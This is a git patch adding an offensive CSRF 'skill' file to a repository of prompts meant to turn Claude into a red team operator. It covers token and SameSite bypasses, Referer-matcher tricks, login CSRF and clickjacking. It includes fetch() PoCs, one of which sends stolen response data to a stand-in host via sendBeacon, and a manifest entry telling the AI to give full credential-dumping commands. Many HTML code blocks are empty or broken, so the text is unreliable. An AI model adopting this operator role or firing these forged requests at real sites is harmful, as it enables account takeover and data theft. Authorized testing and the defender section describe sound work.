From d4d7f93f1258d3a3ee0af2388b7c0a88a843c665 Mon Sep 17 00:00:00 2001 From: rudycelekli <47457359+rudycelekli@users.noreply.github.com> Date: Fri, 23 Oct 2026 21:26:29 -0400 Subject: [PATCH 1/2] Add offensive-csrf skill (cross-site request forgery) offensive-csrf under web: classic GET/POST CSRF PoCs, token weaknesses, SameSite bypasses, JSON/CORS CSRF, Referer/Origin matcher bypasses, clickjacking-assisted CSRF, defender view. Updates README, CHANGELOG, claude-skills.json. --- CHANGELOG.md | 4 + README.md | 3 +- Skills/web/offensive-csrf/SKILL.md | 608 +++++++++++++++++++++++++++++ claude-skills.json | 18 +- 4 files changed, 630 insertions(+), 3 deletions(-) create mode 100644 Skills/web/offensive-csrf/SKILL.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 80fce28..60f8713 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,10 @@ All notable changes to `claude-red` are documented here. The library follows a p ## [Unreleased] +### Added + +- **web/** — `offensive-csrf` (Cross-Site Request Forgery: classic GET/POST state-changing CSRF, CSRF-token weaknesses, SameSite bypasses, JSON/CORS CSRF, Referer/Origin validation bypasses, login/logout and multi-step CSRF, clickjacking-assisted CSRF, Burp CSRF PoC generator, defender view) + ### Changed - Replaced an inactive EXIF viewer reference in `offensive-osint` with a browser-local metadata viewer and added evidence-corroboration guidance. diff --git a/README.md b/README.md index 0858a54..2080192 100644 --- a/README.md +++ b/README.md @@ -73,7 +73,7 @@ Paste the contents of a `SKILL.md` into a Project's system prompt or prepend it | Category | Skills | Focus | |---|---:|---| -| [Web Application](#web-application) | 16 | OWASP Top 10, business logic, advanced web vulnerability classes | +| [Web Application](#web-application) | 17 | OWASP Top 10, business logic, advanced web vulnerability classes | | [Auth & Identity](#auth--identity) | 2 | JWT exploitation, OAuth/OIDC abuse | | [Active Directory](#active-directory) | 1 | On-prem AD attack methodology | | [Wireless](#wireless) | 14 | 802.11, WPA2/3, EAP, WPS, evil-twin, BLE, Zigbee, Z-Wave, LoRa, sub-GHz | @@ -123,6 +123,7 @@ Paste the contents of a `SKILL.md` into a Project's system prompt or prepend it | [`offensive-graphql`](Skills/web/offensive-graphql/SKILL.md) | GraphQL — introspection abuse, batching attacks, alias-based IDOR | | [`offensive-waf-bypass`](Skills/web/offensive-waf-bypass/SKILL.md) | WAF bypass — encoding tricks, chunked transfer, case mutation | | [`offensive-business-logic`](Skills/web/offensive-business-logic/SKILL.md) | Business logic — workflow bypass, pricing abuse, multi-step chains | +| [`offensive-csrf`](Skills/web/offensive-csrf/SKILL.md) | Cross-site request forgery — token flaws, SameSite bypass, JSON/CORS CSRF, clickjacking | ### Auth & Identity diff --git a/Skills/web/offensive-csrf/SKILL.md b/Skills/web/offensive-csrf/SKILL.md new file mode 100644 index 0000000..d1a043f --- /dev/null +++ b/Skills/web/offensive-csrf/SKILL.md @@ -0,0 +1,608 @@ +--- +name: offensive-csrf +description: "Cross-Site Request Forgery (CSRF) testing skill for offensive security assessments and bug bounty hunting. Covers classic state-changing CSRF over GET and POST, CSRF-token weaknesses (missing, not-validated, predictable, reusable, not-tied-to-session, validated-only-when-present, double-submit cookie flaws), SameSite cookie bypasses (Lax-by-default gaps, top-level GET state changes, sibling/sister-site attacks, HTTP method override, newly-issued cookie window), JSON/CORS CSRF (text/plain content-type, simple requests, misconfigured credentialed CORS), Referer/Origin validation bypasses, login and logout CSRF, CSRF in multi-step flows, and clickjacking-assisted CSRF. Includes weaponized auto-submitting HTML form PoCs, fetch()/XHR PoCs, Burp Suite CSRF PoC generator usage, and defender-side guidance (synchronizer token pattern, SameSite, double-submit done right, custom-header + CORS). Use when testing anti-CSRF defenses, forging state-changing requests, assessing session-riding, or evaluating cookie and CORS configuration on web applications and APIs." +--- + +# Cross-Site Request Forgery — Offensive Testing Methodology + +CSRF abuses the browser's habit of automatically attaching ambient credentials (cookies, HTTP Basic auth, client certs, Windows integrated auth) to any request bound for an origin — even when that request was initiated by a completely unrelated attacker-controlled page. If a state-changing endpoint relies only on those ambient credentials to authorize an action, an attacker who can get a victim to load a page can forge that action in the victim's session. The modern bar is higher than it was a decade ago: `SameSite=Lax` is now the default in Chromium and Firefox, which kills most naive cross-site POST CSRF. But defaults are not defenses — Lax has documented gaps, tokens are implemented wrong constantly, and JSON/CORS endpoints routinely re-open the hole. This skill is about finding the request that changes state, proving the server will accept it cross-site, and weaponizing it into a single click (or zero clicks). + +## Quick Workflow + +1. Enumerate every state-changing action (POST/PUT/PATCH/DELETE, and any GET that mutates): account email/password change, fund transfer, role grant, add-to-cart/checkout, API key creation, OAuth connect, logout, login. +2. Capture a known-good authenticated request in Burp. Note: HTTP method, `Content-Type`, every anti-CSRF token, custom headers, and which cookies carry the session. +3. Attack the token: remove it, blank it, swap it for another user's, reuse an old one, change the method, downgrade the content-type. Replay each and watch whether the action still succeeds. +4. Attack the cookie layer: test `SameSite` behavior, top-level navigation GETs, method-override params, sibling subdomains, and the newly-issued-cookie window. +5. Attack validation-by-header: strip/forge `Origin` and `Referer`; probe null-origin and suffix/substring matching bugs. +6. Build the lowest-interaction PoC that works (auto-submitting form > fetch() > GET image tag), host it, and confirm the state change in the victim account. +7. Assess impact and chain (login CSRF → session fixation, logout CSRF → forced re-auth phishing, CSRF → stored XSS → full ATO) and document remediation. + +--- + +## Finding the State-Changing Request + +Before any PoC, you need the exact request. Capture it authenticated and strip it to the minimum the server still accepts. + +```http +POST /account/email HTTP/1.1 +Host: example.com +Cookie: session=eyJ1aWQiOjEyM30 +Content-Type: application/x-www-form-urlencoded +Content-Length: 44 + +email=victim%40example.com&csrf=Kp3f...9xQ +``` + +Minimization checklist — remove one thing at a time and replay: + +- Drop the `csrf` parameter entirely. Still 200/302 and changed? Missing validation. +- Blank the token (`csrf=`). Server may only check presence, not value. +- Change `POST` to `GET` with params in the query string. Many frameworks route both. +- Change `Content-Type` to `text/plain`. If accepted, you get a simple request (no preflight). +- Delete `Referer` / `Origin`. If the server still accepts, header validation is absent or fail-open. + +--- + +## Classic State-Changing CSRF (GET) + +State changes behind GET are the easiest CSRF — no form, no script, just an auto-loading resource. `SameSite=Lax` does NOT protect top-level GET navigations, and image/script tags that trigger a GET are a classic vector when the cookie is `SameSite=None` or unset in a legacy context. + +```html + + +``` + +```html + +Click for prize + +``` + +```html + + +``` + +Any endpoint that performs a mutation on a safe method (GET/HEAD) is a finding on its own — it violates the HTTP contract and is trivially CSRFable. + +--- + +## Classic State-Changing CSRF (POST) — Auto-Submitting Form + +The workhorse PoC. A hidden form that submits itself on load. Because it is a real form submission (a top-level or navigational POST only if you target `_top`; otherwise it's a cross-site POST), it carries cookies that are `SameSite=None` or unset-in-legacy, and defeats servers that only check the HTTP method. + +```html + + + +
+ + +
+ + +``` + +Multi-value and array parameters translate directly to hidden inputs: + +```html +
+ + + +
+``` + +For endpoints that insist on `multipart/form-data` (file-ish forms), set the enctype so the browser builds a real multipart body: + +```html +
+ +
+``` + +--- + +## CSRF-Token Weaknesses + +Most real CSRF findings today are token-implementation bugs, not the total absence of a token. Test each of these systematically. + +### Token not validated at all + +The field exists in the form but the server never checks it. Submit without it: + +```http +POST /account/email HTTP/1.1 +Host: example.com +Cookie: session=... +Content-Type: application/x-www-form-urlencoded + +email=attacker@example.com +``` + +If it succeeds with no `csrf` parameter, the token is decorative. + +### Token validated only when present + +The server validates a token if the parameter is sent, but skips validation when it is absent. This is extremely common. Delete the parameter name entirely (not just its value): + +```http +# This is rejected (wrong value): +email=attacker@example.com&csrf=wrong + +# This is ACCEPTED (parameter omitted → validation skipped): +email=attacker@example.com +``` + +### Token not tied to the session + +If the token is validated against a global pool rather than the victim's session, your own valid token works in the victim's request. Grab a token from your authenticated session and hardcode it into the PoC: + +```html +
+ + + +
+``` + +### Token tied to a non-session cookie + +Some apps bind the CSRF token to a `csrfKey` cookie that is separate from the session cookie. If you can set that cookie in the victim's browser (via a cookie-injection bug, a response-header injection, or a sibling subdomain), you can pair your own token with your own `csrfKey` and have both ride along. Combine with a cookie-setting gadget: + +```html + + + +
+ + +
+``` + +### Predictable or reusable tokens + +- **Reusable:** capture one valid token and replay it across many victims/sessions. If it never expires and isn't single-use, it's a static secret. +- **Predictable:** short tokens, timestamps, sequential counters, MD5(username), or base64 of guessable data. Decode and model them. + +```bash +# Decode a suspicious token to spot structure (timestamp, uid, hash) +echo 'MTcyMzQ1Njc4OToxMjM=' | base64 -d # -> 1723456789:123 (epoch:uid) +``` + +### Double-submit cookie flaws + +Double-submit compares a cookie value to a request parameter and trusts them if equal. It breaks when the attacker can influence the cookie: + +- **Attacker-chosen cookie:** if any endpoint reflects user input into a `Set-Cookie`, or a sibling subdomain can write the parent-domain cookie, set `csrf=KNOWN` as a cookie and send `csrf=KNOWN` as the parameter — they match, validation passes. +- **Naive equality:** some implementations accept any non-empty match, so `csrf=1` cookie + `csrf=1` param passes. + +```html + + +
+ + +
+ +``` + +--- + +## SameSite Cookie Bypasses + +`SameSite` is the browser-level mitigation, but it has well-documented edges. Confirm the actual attribute in the `Set-Cookie` response; "Lax by default" only applies when the site did not set it explicitly, and it has special windows. + +| Scenario | SameSite behavior | CSRF implication | +|---|---|---| +| `SameSite=None; Secure` | Sent on all cross-site requests | Full classic CSRF (GET+POST) | +| Unset (Lax default) | Sent on top-level GET navigations only | GET-based + method confusion viable | +| `SameSite=Lax` (explicit) | Same as default | GET navigation + Lax-allowing endpoints | +| `SameSite=Strict` | Never sent cross-site | Need on-site gadget (XSS, open redirect, sibling site) | + +### Top-level GET state change (Lax gap) + +Lax permits cookies on top-level GET navigations. If any state change is reachable via GET, navigate the whole window to it: + +```html + +``` + +### HTTP method override (Lax gap) + +Frameworks that honor `_method`, `X-HTTP-Method-Override`, or `?_method=POST` let you express a POST as a Lax-friendly top-level GET, or convert a form POST into the "real" verb server-side. + +```html + +
+ + +
+``` + +```http +# Some stacks accept the override on a GET query string: +GET /account/delete?_method=DELETE HTTP/1.1 +Host: example.com +Cookie: session=... +``` + +### Newly-issued cookie window (Lax+POST 2-minute grace) + +Chromium's "Lax+POST" mitigation makes an unset cookie temporarily behave like `None` for top-level cross-site POSTs for roughly the first 2 minutes after the cookie is issued. If you can force the victim to get a fresh cookie (e.g., trigger a login/refresh in one tab) and then immediately fire a cross-site POST, the just-issued cookie rides along. + +```html + + + +
+ + +
+``` + +### Sibling / sister-site attacks + +`SameSite` is about the *site* (eTLD+1), not the origin. `a.example.com` and `b.example.com` are the same site. A CSRF (or XSS) on any subdomain, or on a less-protected sibling, sends cookies to the whole site. If you control or compromise `promo.example.com`, you can launch "same-site" requests against `app.example.com` that even `SameSite=Strict` will allow. + +```html + +
+ +
+ +``` + +--- + +## JSON / CORS CSRF + +APIs that expect `application/json` are often assumed CSRF-safe because a cross-site `fetch` with a JSON content-type triggers a CORS preflight that the attacker can't satisfy. That assumption fails in several ways. + +### text/plain content-type (no preflight) + +`text/plain`, `application/x-www-form-urlencoded`, and `multipart/form-data` are "simple request" content-types that do NOT trigger a preflight. If the server parses the body as JSON regardless of the declared content-type, you win. + +```html + +
+ + +
+ +``` + +```javascript +// fetch with text/plain stays a "simple" request — no preflight, cookies sent +fetch("https://example.com/api/account", { + method: "POST", + credentials: "include", + headers: { "Content-Type": "text/plain" }, + body: JSON.stringify({ email: "attacker@example.com" }) +}); +``` + +### Flawed CORS allowing credentialed writes + +If the API reflects the request `Origin` into `Access-Control-Allow-Origin` AND sets `Access-Control-Allow-Credentials: true`, an attacker page can make fully credentialed cross-origin writes (and read responses). This is CORS misconfiguration enabling CSRF with confirmation. + +```bash +# Probe: does the server reflect arbitrary origins with credentials? +curl -s -I https://example.com/api/account \ + -H "Origin: https://attacker.example" | \ + grep -i 'access-control-allow-' +# Dangerous if you see: +# Access-Control-Allow-Origin: https://attacker.example +# Access-Control-Allow-Credentials: true +``` + +```javascript +// Weaponized credentialed cross-origin write against reflected-origin CORS +fetch("https://example.com/api/account", { + method: "POST", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ email: "attacker@example.com" }) +}) + .then(r => r.text()) + .then(d => navigator.sendBeacon("https://192.0.2.50/exfil", d)); +``` + +Also test `null` origin acceptance (sandboxed iframe) and whether `Access-Control-Allow-Origin: *` is paired with credentials (browsers reject that combo, but some servers additionally reflect specific origins). + +```html + + +``` + +--- + +## Referer / Origin Validation Bypasses + +When a server validates `Origin`/`Referer` instead of (or alongside) a token, attack the matcher. + +### Missing header fail-open + +Many validators only check the header *if present*. Suppress it and the check is skipped. + +```html + +
+ +
+``` + +```html + + +``` + +### Substring / suffix / prefix matching bugs + +| Validator logic | Bypass domain | Why it passes | +|---|---|---| +| `referer.contains("example.com")` | `https://example.com.attacker.example` | substring present | +| `referer.contains("example.com")` | `https://attacker.example/?example.com` | substring in query | +| `referer.startsWith("https://example.com")` | `https://example.com.attacker.example` | prefix match | +| `referer.endsWith("example.com")` | `https://notexample.com` | suffix match | + +```html + + +
+ +
+ +``` + +For Origin checks, remember the attacker cannot forge `Origin` from a browser, so the practical bypasses are: (1) make the header absent, (2) exploit a matcher that accepts a crafted attacker domain, or (3) abuse a same-site sibling origin. + +--- + +## Login and Logout CSRF + +### Login CSRF (session fixation via forced login) + +Force the victim's browser to log in to an *attacker-controlled* account. The victim then unknowingly operates in the attacker's session — anything they enter (payment methods, searches, uploaded files) lands in the attacker's account, which the attacker later logs back into. + +```html + +
+ + +
+ +``` + +Impact escalates when the victim subsequently links a credit card or connects an OAuth identity to what is actually the attacker's account. + +### Logout CSRF + +Forcibly logging a victim out is low-severity alone, but it enables phishing (victim is bounced to a login page you can style/redirect) and can break security workflows. + +```html + +``` + +--- + +## CSRF in Multi-Step Flows + +Multi-step actions (confirm email → set new value, or wizard step 1 → step 2 → commit) can still be CSRFable if intermediate tokens are predictable or if steps can be replayed/skipped. Chain auto-submitting forms with timed submission, or pre-fetch a step-1 token server-side if it's not session-bound. + +```html + + + + +
+ +
+
+ +
+ + +``` + +If step 2 requires a token minted in step 1, test whether that token is tied to the session (replayable) or leaked in a redirect/Referer you can read. + +--- + +## Clickjacking-Assisted CSRF + +When an action requires a genuine user gesture (and tokens are properly bound so a blind PoC fails), overlay the real, authenticated page in a transparent iframe and trick the victim into clicking the actual button. The click happens inside the victim's own session, so valid tokens are present — you're only supplying the gesture and the coordinates. + +```html + + + + + + +
Click here to claim your prize
+ + + +``` + +This only works if the target page lacks framebusting — i.e., no `X-Frame-Options: DENY/SAMEORIGIN` and no `Content-Security-Policy: frame-ancestors`. Confirm those headers are missing before investing in alignment. + +--- + +## Burp Suite CSRF PoC Generator + +Burp automates the HTML PoC for any captured request, including multipart and odd content-types. + +``` +1. Proxy ▸ HTTP history — find the state-changing request +2. Right-click the request ▸ Engagement tools ▸ Generate CSRF PoC +3. In the CSRF PoC generator: + - Tick "Include auto-submit script" for zero-click delivery + - Use "Options" to force method/content-type if the request used JSON + - Edit hidden fields to set attacker-controlled values +4. "Copy HTML" or "Test in browser" to validate against a live session +5. Host the HTML on your redirector (e.g., http://192.0.2.20/poc.html) and + trigger it in an authenticated victim session to confirm the state change +``` + +Notes: + +- For JSON endpoints, Burp can emit a `text/plain` form PoC; verify the server still parses the body. +- Burp Scanner (Pro) flags "CSRF" and "SameSite" issues passively — treat them as leads, then manually prove exploitability by replaying without the token. +- "Test in browser" uses your current Burp-proxied browser session — make sure you're logged in as the victim test account, not the attacker. + +--- + +## Detection / Defender View + +What the defense looks like from the other side, and what you'll observe when it's done right (so you know when to stop). + +### Synchronizer token pattern (the gold standard) + +A per-session (ideally per-request) unpredictable token, stored server-side, embedded in every state-changing form, and validated on every mutation. Correctly implemented, the blind PoC simply fails: no token, no action. + +```html +
+ + +
+``` + +- Token MUST be bound to the session, unpredictable (CSPRNG), and rejected when absent. +- Validation must fail-closed: missing token → reject, not skip. + +### SameSite cookies, correctly + +```http +Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/ +``` + +- `Strict` for pure-session cookies where cross-site top-level entry isn't needed. +- `Lax` as a baseline; never rely on it as the *only* control (remember the GET, method-override, and newly-issued-cookie gaps above). +- Never `SameSite=None` without a token backing it up. + +### Double-submit, done right + +Signed/HMAC'd double-submit so the attacker can't forge a matching pair, and the cookie host-locked with the `__Host-` prefix so a sibling subdomain can't overwrite it. + +```http +Set-Cookie: __Host-csrf=; Secure; Path=/; SameSite=Lax +``` + +The request must echo a value the server can re-derive/verify against the session, not a bare equality check. + +### Custom header + CORS + +For JSON APIs, require a custom header (e.g., `X-CSRF-Token` or even a static `X-Requested-With`) that cannot be set cross-site without a CORS preflight the attacker can't satisfy, and keep CORS strict. + +```js +// Server: reject state-changing requests lacking the custom header +app.use((req, res, next) => { + const unsafe = !["GET", "HEAD", "OPTIONS"].includes(req.method); + if (unsafe && req.get("X-CSRF-Token") !== req.session.csrf) { + return res.status(403).end(); + } + next(); +}); +``` + +```http +# CORS must NOT reflect arbitrary origins when credentials are allowed: +Access-Control-Allow-Origin: https://app.example.com # explicit, never reflected '*' +Access-Control-Allow-Credentials: true +``` + +### What defenders see in logs + +- Bursts of identical POSTs with missing/blank tokens → probing. +- `Origin`/`Referer` cross-site on state-changing endpoints with `403` → working controls. +- `Sec-Fetch-Site: cross-site` on mutations is a strong server-side signal to block. + +```js +// Fetch-metadata defense (modern, header-based): +app.use((req, res, next) => { + const site = req.get("Sec-Fetch-Site"); + if (!["GET", "HEAD"].includes(req.method) && site === "cross-site") { + return res.status(403).end(); + } + next(); +}); +``` + +--- + +## Engagement Cheatsheet + +```text +1. CAPTURE Authenticated state-changing request in Burp (method, CT, token, cookies). +2. TOKEN Remove token / blank token / swap for own token / reuse old / change method + / downgrade content-type to text/plain. Replay each; note any 200/302 + change. +3. COOKIE Check Set-Cookie SameSite. Try: top-level GET nav, _method override, + sibling-subdomain host, newly-issued-cookie (<120s) window. +4. HEADER Strip Referer (referrerpolicy=no-referrer); test substring/suffix matcher; + try null-origin sandboxed iframe for CORS. +5. CORS/JSON curl -I with spoofed Origin → look for reflected ACAO + ACAC:true. + fetch() text/plain or credentialed JSON write; exfil response via beacon. +6. POC Burp ▸ Generate CSRF PoC (auto-submit). Prefer form > fetch > GET. +7. PROVE Fire in victim session; confirm state changed. Screenshot before/after. +8. CHAIN Login CSRF→fixation; logout CSRF→phishing; CSRF→stored XSS→ATO; clickjack + when a real gesture + bound token is required. +``` + +Minimal zero-click POST PoC to keep handy: + +```html + +
+ +
+ +``` + +--- + +## Key References + +- OWASP Cross-Site Request Forgery Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html +- OWASP Clickjacking Defense Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html +- OWASP WSTG — Testing for CSRF (WSTG-SESS-05): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +- PortSwigger Web Security Academy — CSRF: https://portswigger.net/web-security/csrf +- PortSwigger — Bypassing SameSite cookie restrictions: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions +- PortSwigger — CSRF tokens: https://portswigger.net/web-security/csrf/tokens +- CWE-352: Cross-Site Request Forgery (CSRF): https://cwe.mitre.org/data/definitions/352.html +- CWE-1275: Sensitive Cookie with Improper SameSite Attribute: https://cwe.mitre.org/data/definitions/1275.html +- CWE-942: Permissive Cross-domain Policy with Untrusted Domains (CORS): https://cwe.mitre.org/data/definitions/942.html +- MDN — SameSite cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite +- MDN — Fetch metadata request headers (Sec-Fetch-Site): https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site +- IETF RFC 6265bis — Cookies, SameSite and `__Host-` prefix: https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis +- MITRE ATT&CK: T1185 (Browser Session Hijacking) +- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/csrf.md diff --git a/claude-skills.json b/claude-skills.json index 9a1946b..82c053b 100644 --- a/claude-skills.json +++ b/claude-skills.json @@ -5,7 +5,8 @@ "homepage": "https://github.com/SnailSploit/claude-red", "categories": { "active-directory": [ - "offensive-active-directory" + "offensive-active-directory", + "offensive-netexec" ], "ai": [ "offensive-ai-security" @@ -96,6 +97,7 @@ ], "web": [ "offensive-business-logic", + "offensive-csrf", "offensive-deserialization", "offensive-file-upload", "offensive-graphql", @@ -136,6 +138,12 @@ "path": "Skills/active-directory/offensive-active-directory/SKILL.md", "description": "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments." }, + { + "name": "offensive-netexec", + "category": "active-directory", + "path": "Skills/active-directory/offensive-netexec/SKILL.md", + "description": ">\nUse this skill whenever the user asks about NetExec (nxc) — a network\nexploitation and post-exploitation tool for Active Directory environments.\nTriggers include: any mention of 'nxc', 'netexec', 'crackmapexec' successor\nquestions, AD enumeration, SMB/LDAP/WinRM/MSSQL/SSH/RDP/VNC/WMI/FTP/NFS\nprotocol attacks, password spraying, credential dumping (SAM, NTDS, LSASS,\nDPAPI), Kerberoasting, ASREPRoasting, lateral movement, BloodHound collection,\nmodule usage, or any pentest workflow involving Windows domain environments.\nThis skill covers ALL protocols, ALL modules, and ALL core features of NetExec.\nAlways provide full command examples with correct flags and options." + }, { "name": "offensive-ai-security", "category": "ai", @@ -424,6 +432,12 @@ "path": "Skills/web/offensive-business-logic/SKILL.md", "description": "Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact." }, + { + "name": "offensive-csrf", + "category": "web", + "path": "Skills/web/offensive-csrf/SKILL.md", + "description": "Cross-Site Request Forgery (CSRF) testing skill for offensive security assessments and bug bounty hunting. Covers classic state-changing CSRF over GET and POST, CSRF-token weaknesses (missing, not-validated, predictable, reusable, not-tied-to-session, validated-only-when-present, double-submit cookie flaws), SameSite cookie bypasses (Lax-by-default gaps, top-level GET state changes, sibling/sister-site attacks, HTTP method override, newly-issued cookie window), JSON/CORS CSRF (text/plain content-type, simple requests, misconfigured credentialed CORS), Referer/Origin validation bypasses, login and logout CSRF, CSRF in multi-step flows, and clickjacking-assisted CSRF. Includes weaponized auto-submitting HTML form PoCs, fetch()/XHR PoCs, Burp Suite CSRF PoC generator usage, and defender-side guidance (synchronizer token pattern, SameSite, double-submit done right, custom-header + CORS). Use when testing anti-CSRF defenses, forging state-changing requests, assessing session-riding, or evaluating cookie and CORS configuration on web applications and APIs." + }, { "name": "offensive-deserialization", "category": "web", @@ -599,6 +613,6 @@ "description": "Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks." } ], - "skill_count": 78, + "skill_count": 80, "category_count": 23 } From 7d5cfb303e8bf3ece0ddb042f8987ded9385cc3e Mon Sep 17 00:00:00 2001 From: rudycelekli <47457359+rudycelekli@users.noreply.github.com> Date: Fri, 23 Oct 2026 21:41:02 -0400 Subject: [PATCH 2/2] fix: set skills badge to 80 to match claude-skills.json build_manifest.py counts 80 skills because main already contains offensive-netexec, which the published badge and manifest omit. The badge now matches skill_count. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2080192..9d48f42 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ **Offensive security skills for Claude — drop-in `SKILL.md` files that turn Claude into a context-aware red team operator.** [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Skills](https://img.shields.io/badge/skills-78-red.svg)](#skill-index) +[![Skills](https://img.shields.io/badge/skills-80-red.svg)](#skill-index) [![Categories](https://img.shields.io/badge/categories-23-orange.svg)](#categories) [![Stars](https://img.shields.io/github/stars/SnailSploit/claude-red?style=social)](https://github.com/SnailSploit/claude-red) [![Forks](https://img.shields.io/github/forks/SnailSploit/claude-red?style=social)](https://github.com/SnailSploit/claude-red/network/members)